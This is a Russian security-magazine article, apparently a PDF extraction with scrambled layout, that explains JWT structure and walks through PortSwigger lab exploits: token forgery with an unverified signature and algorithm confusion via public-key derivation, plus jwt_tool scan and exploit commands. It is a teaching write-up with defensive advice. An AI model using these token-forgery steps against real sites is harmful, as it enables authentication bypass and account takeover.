b0VIQigd52P8KYwXEIHNEGsbcY7Robg9gTn7kXulaksKb1CYcwXGqUC17xOm2BRD9Z0D_
HU_
hDufxyk4xGS3nR7aIxZvEHJcJoyyD6BcPxvs1PuPCFrOYyqjlGZqcd3rVpc9ZGdk3hco1
amFOGuG33pBF8EjrSXzrX6jONuEF31D6M5Abr58-_
ip30-_RqsRf4P6tLA-6_mKRS5xzIi_ZypuszdU2kPlO_npFTqILgdO_
OScS6KgaSW8EU2ghLIo8JGA


Выходим, аутентифицируемся второй раз и копируем второй JWT-токен:

eyJraWQiOiJlYTc5ODI1ZC0wZGE1LTQ0M2YtODRhOC1mYjU3YjIwOWQ1ZmUiLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDgyMjU2OCwic3ViIjoid2llbmVyI
n0.
UlNcTGk8SfBv_AyBEXYqClWbRl1jY985uSs2OjcW6nKFwyRnnutcKRX1Zoj8zqn-
51TN12-C1yf-
hlQ5nZESdpCifDBDJVQ8DUKmJ1Ke7ao7WKHxVaOV0VNbk5vOyTpiCccp4p4ihVOn6BNW9
bll28Fl9L10PpPMnC1DRO--
9snEZEFQ_
Xvmnt3xfG9h6IIytApT57LgNk7GHQHsQvspVRXSAeGSCgxz3FRkRC5KZDV2juLxi6iojP
bhIX83fpkT6L_
XBv-_a7-dw68OEKCM0Qnau8d-Kj4xqwndQ9c1ZK0vVwUnzpsag1F-
eEsvhzUzczZYtCOd3NKUh5crVoIhgg


Их хватит, чтобы подобрать наибольший общий делитель и  вычислить пуб‐
личный ключ. Для этого мы можем использовать  с GitHub.готовый скрипт

Он также есть в Docker Registry, поэтому воспользуемся докером:

 docker run --rm -it portswigger/sig2n <token1> <token2>


Результат выполнения команды  — на  скриншоте ниже. Скрипту удалось
подобрать несколько возможных вариантов НОД, и  он сгенерировал нам
готовые токены, подписанные публичными ключами, которые он также сге‐
нерировал.

Извлечение публичного ключа на основе подписанных токенов JWT

Сами ключи сгенерировались в форматах X.509 и PKCS1 и были заэнкожены
в  Base64. Как  мы помним, на  сервере они хранятся в  X.509, поэтому мы
будем использовать именно этот формат.

Но сначала нам нужно определить, какой из двух сгенерированных ключей
соответствует серверному. Копируем подписанные токены Tampered JWT
и пробуем по одному в Repeater.

Если в  ответе не  было редиректа на  страницу логина, значит, публичный
ключ успешно подобран.

Страница должна открываться от имени пользователя wiener

Переходим в JWT Editor, генерируем новый симметричный ключ и заменяем 

тем, которым был подписан подошедший JWT-токен.

k

Процесс создания нового симметричного ключа

Меняем пейлоад на  админа, вновь подписываем собственным симметрич‐
ным ключом. Не забываем обновить алгоритм — с асимметричного на сим‐
метричный HS256.

Подписание токена JWT с помощью публичного ключа

Отправляем запрос, получаем доступ к админке.

Ссылка на панель администратора в личном кабинете

Удаляем Карлоса.

Уведомление об успешном прохождении лаборатории

Лаборатория успешно пройдена! Последняя!

Продолжение статьи
→

https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion
https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key
https://crypto.stackexchange.com/a/30301/7826
https://crypto.stackexchange.com/a/33644/7826
https://en.wikipedia.org/wiki/Euclidean_algorithm
https://github.com/silentsignal/rsa_sign2n
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ДРУГИЕ ИНТЕРЕСНЫЕ ВЕКТОРЫ

Следующие параметры тоже могут представлять интерес:
 (Content Type)  — иногда используется для  объявления медиатипа

содержимого в  пейлоаде токена JWT. Обычно он не  указывается
в заголовке, но библиотека синтаксического анализа, которая использует‐
ся для парсинга токенов в приложении, может поддерживать его в любом
случае. Если ты нашел способ обойти проверку подписи, можешь поп‐
робовать внедрить заголовок , чтобы изменить тип содержимого
на   или  .
Это  потенциально может открыть новые векторы для  атак XXE и  десери‐
ализации.

• cty

cty

text/xml application/x-java-serialized-object

 (X.509 Certificate Chain)  — иногда используется для  передачи сер‐
тификата открытого ключа X.509 или цепочки сертификатов ключа, исполь‐
зуемых для цифровой подписи JWT. Этот параметр заголовка может быть
использован для  инъекции самоподписанных сертификатов, аналогично
атакам инъекции заголовка , рассмотренным выше. Из‑за сложности
формата X.509 и его расширений парсинг этих сертификатов тоже может
привести к уязвимостям. Подробности таких атак выходят за рамки этого
материала, но ты можешь ознакомиться с ними, заглянув в 
и  .

• x5c

jwk

CVE-2017-2800
CVE-2018-2633

ЧЕК-ЛИСТ ПРОВЕРОК

На основе всего перечисленного я составил чек‑лист проверок. Используй
его при поиске мисконфигураций, связанных с JWT-токенами.
1. Первый взгляд:

найти токены JWT;•
поискать подходящую для тестов страницу.•

2. Простые проверки:
обязателен ли токен JWT;•
выдает ли сайт сервисные ошибки из‑за неправильных токенов;•
используется ли для HMAC слабый секрет;•
проверяется ли срок действия токена.•

3. Базовые эксплоиты:
алгоритм  (CVE-2015-9235);• none

атаки с путаницей ключей (CVE-2016-5431);•
JWKS-инъекция (CVE-2018-0114);•
подпись нулевым байтом (CVE-2020-28042).•

4. Дополнительные проверки:
path traversal через kid;•
SQL injection через kid;•
атаки URL tampering (SSRF через параметр );• jku

JWKS-спуфинг.•
5. Расширенные проверки:

межсервисные релей‑атаки.•

АВТОМАТИЗАЦИЯ

Страница jwt_tool на GitHub

На ручную проверку всех проблем, связанных с  JWT-токенами, может уйти
много времени. Большинство атак, которые мы рассмотрели, несложно авто‐
матизировать и  быстро проверить с  помощью готового тулкита. Именно
такой тулкит разработал Энди Тайлер:  — это набор инструментов
для валидации, сканирования и подделывания JWT (JSON Web Tokens).

jwt_tool.py

Клонируем репозиторий и ставим зависимости:

git clone https://github.com/ticarpi/jwt_tool

 pip  python3 -m install -r requirements.txt


Запускаем jwt_tool в  режиме Playbook с  базовыми проверками (не забудь
сменить  на тот сайт, где ты тестируешь токены):ticarpi.com

 

  pb 

python3 jwt_tool.py -t https://www.ticarpi.com/ -rc
"jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.
bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M
-np

Если уязвимости найдены, ты можешь попробовать проэксплуатировать их:

 

  i 
 

python3 jwt_tool.py -t https://www.ticarpi.com/ -rc
"jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.
bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X
-I -pc name -pv admin


КАК ЗАЩИТИТЬСЯ

Разработчик может защитить свои сайты от  многих из  рассмотренных атак.
Для этого понадобятся следующие меры:

Используй только популярные и  часто обновляемые библиотеки
для  работы с  JWT и  убедись, что полностью понимаешь принцип ее
работы, а также все последствия для безопасности. Многие современные
библиотеки пытаются взять на  себя защиту от  случайных небезопасных
последствий. Но их авторам приходится учитывать гибкие спецификации,
а это негативно сказывается на безопасности.

•

Убедись, что присутствует надежная проверка подписи для  всех получа‐
емых JWT и что ты учитываешь такие нестандартные случаи, как JWT, под‐
писанные с использованием неожиданных алгоритмов.

•

Обеспечь строгий белый список разрешенных хостов для заголовка .• jku

Убедись, что твоя программа неуязвима к path traversal или SQL-инъекци‐
ям через параметр заголовка .

•
kid

Также советую соблюдать лучшие практики:
Устанавливай дату истечения срока действия для  любых выпускаемых
токенов.

•

По возможности избегай отправки токенов в параметрах URL, чтобы они
не логировались.

•

Добавь в тело  (audience), чтобы указать предполагаемого получателя
токена. Это предотвратит использование токена на других сайтах.

• aud

Разреши серверу, выдавшему токен, отзывать его (например, при выходе
из системы).

•

ВЫВОДЫ

Круто, если ты прочитал всю статью и  дошел досюда! Теперь ты знаешь
обо всех ошибках, которые можно допустить при работе с JWT-токенами, —
а  опасных мест действительно много. Кроме того, мы научились находить
такие ошибки, и  ты уже можешь использовать это  на практике. Более того,
эти знания помогут тебе сдать некоторые сертификации, особенно связан‐
ные с вебом, — например, тот же Burp Suite Certified Practitioner.

https://talosintelligence.com/vulnerability_reports/TALOS-2017-0293
https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633
https://github.com/ticarpi/jwt_tool
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безопасности

ВЗЛОМ

В этой статье мы максимально глубоко изу‐
чим технологию JSON Web Tokens (JWT):
где она используется, в  чем ее плюсы
и  минусы и  какие опасности она может
таить для  всего веб‑приложения, если
программист видит ее впервые. Мы также
рассмотрим типичные уязвимости JWT,
научимся их эксплуатировать и исправлять.

АУТЕНТИФИКАЦИЯ И АВТОРИЗАЦИЯ

Прежде чем мы перейдем непосредственно к  JWT, давай повторим основы
и вспомним главные термины, которые неразрывно связаны с современным
вебом и  информационной безопасностью, а  именно  — аутентификация
и  авторизация. Эти знания нам необходимы, чтобы понимать весь даль‐
нейший материал.

Представим, что мы хотим войти в  свой аккаунт Facebook. Веб‑приложе‐
нию нужно понять, что мы владеем этим аккаунтом. Для этого оно просит нас
предоставить корректные учетные данные. Обычно это  логин и  пароль,
которые мы вводим на странице входа.

Приложение проверяет предоставленные данные, и, если они верны, мы
входим в собственный аккаунт. Этот процесс называется аутентификацией.

INFO

Аутентификация — проверка подлинности предъ‐
явленного пользователем идентификатора, в про‐
цессе которой пользователь доказывает, что он
действительно тот, за  кого себя выдает. Срав‐
нение пароля, введенного пользователем,
с паролем, который сохранен в базе данных сер‐
вера, — один из примеров аутентификации.

Высокоуровневая схема аутентификации

После успешной аутентификации мы заходим на  страницу со  своим про‐
филем. Веб‑приложение понимает, что пользователь  — тот, за  кого себя
выдает, то есть мы успешно аутентифицированы.

Теперь мы можем отредактировать собственный профиль, изменить имя
и  фамилию или  поменять возраст. Мы не  можем редактировать чужой про‐
филь, поэтому прежде, чем разрешить редактирование, приложению нужно
убедиться, что запрос пришел от  владельца профиля. Процесс проверки
прав на осуществление действий называется авторизацией.

INFO

Авторизация  — это  процесс проверки, под‐
тверждения или  предоставления разрешений,
прав доступа и привилегий на выполнение опре‐
деленных действий. Пример авторизации: поль‐
зователь хочет прочитать документ на сайте, при‐
ложение проверяет, имеет ли он право читать
его.

Высокоуровневая схема авторизации

Аутентификация проходит один раз, когда ты вводишь логин и пароль. Авто‐
ризация происходит при  каждом запросе после аутентификации, поэтому
если допустить ошибку в этой системе, то злоумышленники смогут выполнять
действия от  имени других пользователей. Например, сделать покупку от  их
имени или узнать конфиденциальную информацию. Важно знать безопасные
и проверенные способы как аутентификации, так и авторизации.

КУКИ И ТОКЕНЫ

Сессионные cookie и токены — два важных и взаимозаменяемых механизма
безопасности в  современном вебе, которые используются в  процессах
аутентификации и авторизации.

После того как пользователь аутентифицировался, они служат фактором,
на  основе которого сервер понимает, что запрос отправил определенный
пользователь. Без необходимости повторно вводить логин и пароль.

Куки

Взаимодействие браузера и сервера с куками

HTTP Cookie — это небольшие записи, которыми обмениваются клиент (твой
браузер) и сервер. Всякий раз при обращении к соответствующему сайту эти
данные пересылаются серверу в составе HTTP-запроса.

Куки придуманы давно, в  начале девяностых годов. В  июне  1994  года Лу
Монтулли, сотруднику Netscape Communications, пришла идея использовать
их при веб‑соединении.

Куки используются в веб‑приложениях:
для управления сеансами пользователя и проверки его прав;•
для отслеживания активности и  персонализации контента (специальные
«рекламные» куки).

•

Процесс использования кук выглядит следующим образом:
1. Браузер отправляет приложению запрос с логином и паролем.
2. Приложение проверяет логин и пароль пользователя. Если они совпадают

с  теми, что хранятся в  базе (вместо паролей сравниваются их хеши), то
приложение формирует сессию, генерирует сессионную куку и отправляет
ее браузеру пользователя.

3. Браузер сохраняет куку и отправляет ее вместе с каждым запросом в при‐
ложение.

4. Приложение получает куку, расшифровывает ее и, если она валидная,
выполняет действие от имени авторизованного пользователя.

В итоге нам не  нужно вводить пароль каждый раз. Благодаря кукам сервер
понимает, что мы уже прошли этот процесс.

INFO

Сервер не  должен хранить куки пользователей
ни  в базе данных, ни  в файловой системе. Они
должны использоваться только в рантайме, чтобы
ими не могли воспользоваться злоумышленники,
которые получат доступ к серверу.

Для присвоения куки пользователю сервер отправляет такой заголовок:

Set-Cookie: <имя cookie>=<значение cookie>


Браузер в свою очередь — такой:

Cookie: <имя cookie>=<значение cookie>


Каждый из этих заголовков поддерживает множество атрибутов, которые поз‐
воляют снизить риски при возникновении уязвимостей на стороне приложе‐
ния.

Токены
В современном вебе используются не только куки, но и токены. Это альтер‐
нативный и  более современный механизм, который имеет свои плюсы
и минусы по сравнению с привычными «печеньками».

Например, когда ты хочешь аутентифицироваться на  сайте через другой
сайт, на  котором ты уже аутентифицирован (например, войти в  Facebook
через Gmail), используются OAuth-токены для межсерверной аутентификации
между приложением и провайдером данных.

OAuth — не единственные токены, существует много других форматов:
  — набор пар имя  — значение в  формате кодиро‐

вания HTML Form, описывает стандартные ключи , ,
 и  ;

• Simple Web Token

Issuer Audience

ExpiresOn HMACSHA256

  — определяет токены

в XML-формате, включающем информацию об эмитенте и субъекте, а так‐
же условия для  валидации токена. Подпись осуществляется при  помощи
асимметричной криптографии. Содержат механизм для  подтверждения
владения токеном;

• Security Assertion Markup Language (SAML)

, JWT  — третий вид токенов, который мы сейчас под‐
робно рассмотрим.

• JSON Web Token

Продолжение статьи
→
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ЧТО ТАКОЕ JWT

Три основополагающие части JWT

Аббревиатура JWT расшифровывается как  JSON Web Token. Стандарт RFC
7519 описывает отправку криптографически подписанных JSON данных (зна‐
чений key-value) между системами. Теоретически стандарт RFC 7519 допус‐
кает отправку любых данных, но в современном вебе чаще используется, что‐
бы передавать информацию о пользователях для аутентификации, обработки
сеансов и контроля доступа.

INFO

JWT (JSON Web Token)  — это  специальный фор‐
мат токена, который позволяет безопасно
передавать данные между клиентом и сервером.
В  качестве клиента может выступать браузер
пользователя или  мобильное приложение, сер‐
вера  — виртуальная машина или  выделенный
компьютер с запущенным веб‑приложением.

JWT-токены были придуманы гораздо позже, чем куки. В  2011  году была
сформирована группа JOSE (JSON Object Signing and Encryption group), приз‐
ванная стандартизировать механизм защиты целостности, шифрования,
а  также формат ключей и  алгоритмов идентификации для  обеспечения сов‐
местимости служб безопасности, использующих формат JSON. К  2013  году
в открытом доступе появились неофициальные наброски и примеры исполь‐
зования идей этой группы. Официально был стандартизирован группой IETF
в мае 2015 года.

Токены, как  и сессионные куки, создаются сервером либо в  начале вза‐
имодействия пользователя с  сайтом или  приложением, либо после аутен‐
тификации пользователя в приложении. Затем они отправляются пользовате‐
лю как  часть ответа сервера  — либо в  HTTP-заголовке , либо

в заголовке . От того, где будет записан токен, зависит, как строится

дальнейшая модель безопасности.

Set-Cookie
Bearer

Взаимодействие браузера и сервера с JWT

Аутентификация и авторизация с использованием JWT-токена устроена сле‐
дующим образом:
1. Браузер отправляет запрос приложению с логином и паролем.
2. Приложение проверяет логин и  пароль и, если они верны, генерирует

JWT-токен, который затем отправляет браузеру. При  генерации JWT-
токена веб‑приложение ставит подпись секретным ключом, который хра‐
нится только в  приложении. Может использоваться как  симметричное
шифрование, так и асимметричное.

3. Браузер сохраняет JWT-токен и  отправляет его вместе с  каждым зап‐
росом в приложение.

4. Приложение проверяет JWT-токен и, если он валидный (то есть он пра‐
вильно сформирован и  данные не  были изменены), выполняет действие
от имени авторизованного пользователя.

Все данные, которые нужны серверу, хранятся на  стороне клиента в  самом
JWT. Это  делает JWT популярным выбором для  высокораспределенных
веб‑сайтов, где пользователям необходимо беспрепятственно взаимодей‐
ствовать с несколькими внутренними серверами.

Безопасность коммуникации между веб‑браузером и  веб‑приложением
строится на  том, что токены генерируются и  подписываются только со  сто‐
роны веб‑приложения. Злоумышленник в теории не сможет подделать токен,
так как не знает секретный ключ, который используется для подписи токена.

При подписи токена используется шифрование. С  помощью подписи
веб‑приложение проверяет, что токен действительно был сгенерирован им.
Алгоритмы шифрования могут быть разными, например HS256  — HMAC
с SHA-256.

ФОРМАТ JWT

JWT-токен состоит из трех частей, которые разделены точкой:
 (заголовок) — информация о токене, тип токена и алгоритм шиф‐

рования;

• Header

 (полезные данные)  — данные, которые мы хотим передать

в  токене. Например, имя пользователя, его роль, истекает ли токен. Эти
данные представлены в виде JSON-объекта;

• Payload

 (подпись) — подпись токена, которая позволяет проверить, что

токен не был изменен.

• Signature

Формат токена:

header.payload.signature


Каждая из  этих частей обычно кодируется в  Base64  для  передачи без  пов‐
реждений по  сети. Помимо этого, используется облегченный вариант URL-
кодирования. Свойственный Base64 знак равенства усекается. Плюс заменя‐
ется минусом, а слеш ( ) — подчеркиванием, чтобы не возникло коллизий./

Пример токена:

eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvc
yBNb250b3lhIiwic3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haW
wiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.
SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-
Hw6GG1zfl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-
fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_
AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5ehoxqm8DL5tFYaW3lB50ELx
i0KsuTKEbD0t5BCl0aCR2MBJWAbN-
xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1
Oe2Spac-
6IfA


Header
Заголовок обычно состоит из JSON-объекта с двумя свойствами:

тип токена, в нашем случае — JWT;•
алгоритм шифрования, в нашем случае — HMAC SHA-256.•

Далее этот JSON-объект хешируется с  помощью Base64URL-кодирования,
чтобы представить его в виде компактной строки.

Таким образом, в  нашем примере заголовок JWT-токена имеет сле‐
дующее значение:

{
   "kid": "9136ddb3-cb0a-4a19-a07e-eadf5a44c8b5",
   "alg": "RS256"
}

Также напомню, что это  не шифрование, поэтому его можно раскодировать
из консоли Linux:

 $ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
: , :{"typ" "JWT" "alg" "HS256"}

Или из консоли JavaScript в браузере:

 atob>> ("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
typ JWT alg HS256"{" ":" "," ":" "}"

Вариант расшифровки через PowerShell:

PS C:  \> [System.Text.Encoding]::UTF8.GetString([System.Convert]::
FromBase64String("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"))

: , :{"typ" "JWT" "alg" "HS256"}

Можно даже из CMD, но чуть сложнее:

C:
  

\>echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 > file.txt && certutil 
-decode -f file.txt outfile.txt && type outfile.txt


 40
Input Length =
 27
Output Length =

 CertUtil: -decode command completed successfully.

: , :{"typ" "JWT" "alg" "HS256"}

Payload
Вторая часть токена  — это  полезная нагрузка в  виде JSON-объекта. Она
содержит данные об  авторизованном пользователе. Значение этой части
JWT-токена разное в  разных веб‑приложениях. Мы можем записать здесь
любые публичные данные, которые могут быть полезны при авторизации.

Как и  заголовок JWT-токена, полезная нагрузка хешируется с  помощью
Base64URL-кодирования для представления в виде компактной строки.

В нашем примере полезная нагрузка JWT-токена имеет следующее зна‐
чение:

{
 "iss": "portswigger",
 "exp": 1648037164,
 "name": "Carlos Montoya",
 "sub": "carlos",
 "role": "blog_author",
 "email": "carlos@carlos-montoya.net",
 "iat": 1516239022

}

Названия некоторых полей могут показаться непонятными с первого взгляда.
Здесь говорится о  том, кто выписал токен ( ), на  кого он выписан (

и  ) и каков его срок жизни ( ), по прошествии которого сервер должен
считать его невалидным. Эти данные может изменить любой человек, затем
закодировать в  Base64  и  вставить на  место изначальных. Поэтому вся
безопасность зависит напрямую от криптографической подписи.

iss sub
name exp

WWW

При составлении полей полезной нагрузки раз‐
работчики стараются учитывать имена
из документации 

, чтобы избежать конфликтов имен
с общепринятыми нормами.

IANA (Internet Assigned Numbers
Authority)

Основная причина, почему названия полей в полезной нагрузке JWT-токена
пишутся сокращенно, — это уменьшение размера токена после шифрования.

Signature
Чтобы создать подпись, мы должны взять закодированный в Base64 заголо‐
вок, закодированную в Base64 полезную нагрузку, секретную строку и зашиф‐
ровать эти данные. При  этом нужно использовать тот же алгоритм шиф‐
рования, который указан в заголовке JWT-токена.

Вот пример для HS256:

HMACSHA256(
 +  +
 base64UrlEncode(header) "."
,
 base64UrlEncode(payload)

 your-256-bit-secret

)

Процесс создания Signature предполагает наличие секретного ключа под‐
писи. Подпись позволяет серверам убедиться в том, что данные, содержащи‐
еся в токене, не были подделаны кем‑то другим с момента его выпуска.

WWW

 — онлайн‑дебаггер, который автоматизиру‐
ет декодирование, проверку и  генерацию JWT-
токенов. Его можно использовать для  собствен‐
ных экспериментов.

jwt.io

Поскольку подпись напрямую зависит от остальной части токена, изменение
одного байта заголовка или  полезной нагрузки приводит к  тому, что она
перестает быть валидной. Не  зная секретного ключа, невозможно сгенери‐
ровать правильную подпись для токена.

JWT VS JWS VS JWE

Исходная спецификация JWT очень ограниченна. Она определяет только
формат представления информации в  виде объекта JSON, который может
быть передан между двумя сторонами. На практике JWT почти не использует‐
ся как отдельная сущность.

Спецификация JWT была расширена спецификациями JSON Web
Signature (JWS)  — RFC 7515  и  JSON Web Encryption (JWE)  — RFC 7516,
которые определяют конкретные способы реализации JWT.

Другими словами, когда мы говорим про JWT-токены в контексте веба, мы
на самом деле имеем в виду либо JWS-токены, либо токены JWE. Токены JWE
и JWS очень похожи, первые зашифрованы, а вторые закодированы.

Продолжение статьи
→

https://www.iana.org/assignments/jwt/jwt.xhtml
http://jwt.io/
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АТАКИ НА JWT-ТОКЕНЫ

Зачем атаковать
Атаки на JWT-токены подразумевают отправку злоумышленником измененных
токенов на  сервер для  достижения своей цели. Как  правило, эта цель зак‐
лючается в том, чтобы обойти аутентификацию и контроль доступа, выдавая
себя за другого пользователя, который уже прошел аутентификацию.

Последствия атак
Последствия JWT-атак обычно серьезны. Если злоумышленнику удается соз‐
дать собственные действительные токены с  произвольными значениями, он
может повысить свои привилегии или выдать себя за другого пользователя,
получив полный контроль над его учетной записью.

Почему токены уязвимы
Уязвимости, позволяющие подделывать JWT-токены, обычно возникают из‑за
несовершенной обработки этих самых токенов в самом приложении. Разные
спецификации, связанные с  JWT-токенами, относительно гибки по  своей
конструкции и позволяют разработчикам сайтов самостоятельно определять
многие детали реализации. В результате разработчики могут допустить уяз‐
вимость даже при использовании библиотек с усиленной защитой.

Недостатки реализации, как  правило, подразумевают, что подпись
у токенов не проверяется должным образом. Это позволяет злоумышленни‐
кам подделывать подписанные данные.

Даже если подпись проверена надежно, можно ли ей доверять, в  зна‐
чительной степени зависит от  того, действительно ли никому не  известен
секретный ключ сервера. Если этот ключ каким‑то образом утекает либо его
можно угадать или  перебрать, злоумышленник может сгенерировать дей‐
ствительную подпись для  любого произвольного токена, что поставит
под угрозу все приложение.

BURP SUITE И JWT

Сейчас мы перейдем к  рассмотрению большинства уязвимостей, которые
могут возникнуть при  работе с  JWT-токенами. Мы будем проверять их
на  практике, поэтому советую зарегистрироваться на  сайте PortSwigger
и решать лаборатории вместе со мной.

INFO

PortSwigger WebSecurity Academy  — бесплатная
академия разработчиков Burp Suite (популярного
инструмента, используемого пентестерами)
для обучения безопасности.

Кроме того, качай Burp Suite и ставь плагин JWT Editor, который поможет нам
подписывать JWT-токены и реализовать некоторые атаки при прохождении.

Продолжение статьи
→
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НЕПРАВИЛЬНАЯ ПРОВЕРКА ПОДПИСЕЙ

Вместо одной функции вызвать другую — вот первая ошибка, которую можно
допустить при проверке подписи. Звучит нелепо, но ее действительно легко
совершить  — особенно если ты только что познакомился с  токенами
и работаешь с ними впервые.

Вот пример из JavaScript. Для работы с JWT-токенами в Node.js существу‐
ет библиотека . Программист может вызвать:jsonwebtoken

метод , который проверяет подпись у  токенов и  возвращает
, если подпись валидна, и  , если нет;

• verifiy()

True False

метод  из  этой же библиотеки, который декодирует токен
и всегда возвращает .

• decode()

True

Их легко спутать и  передать токен в  метод  вместо правильного

. В  таком случае приложение вообще не  будет проверять подпись

и  будет считать ее валидной. При  этом разработчик заметит такую недора‐
ботку не сразу, особенно если на сервере не ведутся логи.

decode()
verify()

Лаба: JWT authentication bypass via unverified signature
• Лабораторная работа на сайте PortSwigger

Эта лаборатория позволит нам проэксплуатировать такую уязвимость
на  практике. Как  сказано в  задании к  ней, нам нужно изменить сеансовый
токен и  получить доступ к  панели администратора по  адресу . Из‑за

недостатков реализации сервер не проверяет подпись получаемых JWT. Мы
в роли злоумышленника должны взломать приложение.

/admin

Откроем лабораторию. Перед нами — блог с личным кабинетом.

Главная страница блога

Нам нужно аутентифицироваться, чтобы получить токен. Перейдем в  My
account.

Страница входа

Тестовые данные были указаны в описании к заданию:
логин — ;• wiener

пароль — .• peter

Введем их, нажмем Log in и взглянем на запрос в Burp Suite.

Перехваченный запрос на вход

В теле запроса отправились следующие данные:
  — токен CSRF, нас он

не интересует;
• csrf=VpPh0Tg2R6YvJjg4Vshrpeot5G76WUji

 — пользователь;• username=wiener

 — пароль.• password=peter

В ответе пришел JWT-токен. Это  говорит о  том, что мы успешно вошли
на сайт.

eyJraWQiOiJhYzhjMWM5Yy0yMWU5LTRkODYtODlkYi02M2M2NWJiYTUxNTciLCJhbGciO
iJSUzI1NiJ9.
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyMDcyODY2Nywic3ViIjoid2llbmVyI
n0.
BMsKR6H2eFhSahX97sPW9WoXpSd5FZRDNC12am1_K8vBwEuc_PdpnOjJIHtYY1q-
dOi93c5A90xhUaUWi8z3QwgU6zTsVPbgJK6q7_6EU8KsSSNF_
saayykHxNsN4YwZlwl3qwaB3TjyriEPtFKHB-
fFS04cJQURLSAGCx39Y5FXzK4BUa3cLdN5-
TV3GwDYGCd29oTAXqfGmvkuJ8DxRrjrWLlEYa1_
IzzLY7XTMJAdfIeiR7zTwlkixndRUGO1-hZEHq5Cjojg-
3MJ0RuieH42qJQKqgFVzSWslEM-3jtTV3rCHVK_nwM0llPOaOe0VUgYoMt-yq57rx8_
Ucx7Fg


В таком виде прочитать его мы не  можем. Перейдем на  вкладку JSON Web
Token. Она появилась благодаря расширению JWT Editor, которое мы уста‐
новили ранее.

Расширение JSON Web Token умеет парсить JWT-токены

На этой вкладке можно увидеть исходный токен JWT, а также декодированный
из  Base64 Header и  Payload, который располагается под  ним. Еще  ниже  —
подпись.

Заголовок:
 (Key ID) — уникальный идентификатор ключа в формате UUID4;• kid

  — алгоритм, которым были подписаны данные, в  нашем случае
это RS256.

• alg

Полезная нагрузка:
 (issuer)  — тот, кто выписал JWT-токен, в  лаборатории

это  ;
• iss

portswigger

 (expires)  — дата истечения токена в  формате Unix Timestamp, после
которой он станет невалидным. Если его декодировать c помощью

, можно узнать, что токен станет невалидным через час;

• exp

unixtimestamp.com
 (subject)  — тот, для  кого выписан токен, здесь указан пользователь

, от имени которого мы вошли.
• sub

wiener

Нам необходимо зайти от  имени администратора. Это  значит, что нужно
изменить .subject

Найдем GET-запрос в  личный кабинет  — это  .

Отправим его в Repeater и выделим ту часть JWT-токена, в которой находится
полезная нагрузка.

/my-account?id=wiener

Полезная нагрузка JWT-токена

В правом углу в  окне  можно увидеть декодированные данные.

Burp «из коробки» умеет декодировать Base64, но  в дальнейшем мы будем
использовать JWT Editor, который позволяет кодировать данные обратно
и подписывать. Заменим  с   логином администратора, то есть

. И нажмем Apply changes.

Inspector

subject wiener
administrator

Как должен выглядеть токен после редактирования

В результате токен будет изменен, но  его подпись будет невалидной. Уяз‐
вимость сервера заключается в том, что он неправильно проверяет подпись
и использует функцию, которая всегда считает, что подпись валидна. Так что
нам это  не помешает, но  если  бы приложение работало как  надо, то мы  бы
получили ошибку.

Уберем из пути  и отправим запрос. В ответе появилась ссыл‐

ка на  админскую панель. Эта ссылка отображается только для  администра‐
тора, следовательно, мы зашли как админ, а не как  .

?id=wiener

wiener

Ссылка на панель в личном кабинете администратора

Чтобы убедиться в  этом, кликнем правой кнопкой мыши, выберем Request
in browser → In original session.

Контекстное меню, которое позволяет увидеть отрендеренный ответ

Скопируем значение.

Ссылка, по которой нужно перейти, чтобы увидеть ответ в браузере

И вставим его в нашем браузере.

Личный кабинет под администратором

« »Your username is administrator

Мы действительно стали администратором.
Теперь нам нужно зайти в  саму админскую панель. Мы могли  бы вновь

изменить  в  самом Burp Suite и  повторно открыть новую ссылку, но  это
неудобно. Гораздо проще заменить токен в  самом браузере, чтобы выпол‐
нять действия от нашего нового пользователя.

Path

Кликаем правой кнопкой и  выбираем Inspect, чтобы открыть меню раз‐
работчика.

Инструменты разработчика

Затем выберем Storage — это хранилище браузера, где лежит наш токен.

Storage — вкладка, на которой отображается браузерное хранилище

Он находится в Cookies, кука единственная, и она называется .session

Кука пользователя с записанным в нее токеном JWT

Сейчас в ней лежит старый токен JWT пользователя wiener. Заменим его тем,
что мы создали. И нажмем Admin panel. Если ты все сделал правильно, дол‐
жна открыться админка.

Личный кабинет после замены куки и обновления страницы

По заданию нам надо удалить пользователя , чтобы лаборатория счи‐
талась выполненной. Нажимаем Delete напротив него и  получаем поздрав‐
ления.

carlos

Поздравление с успешным прохождением лаборатории

Мы успешно прошли первую лабораторию!

Продолжение статьи
→

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
https://www.unixtimestamp.com/
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ВЗЛОМ 
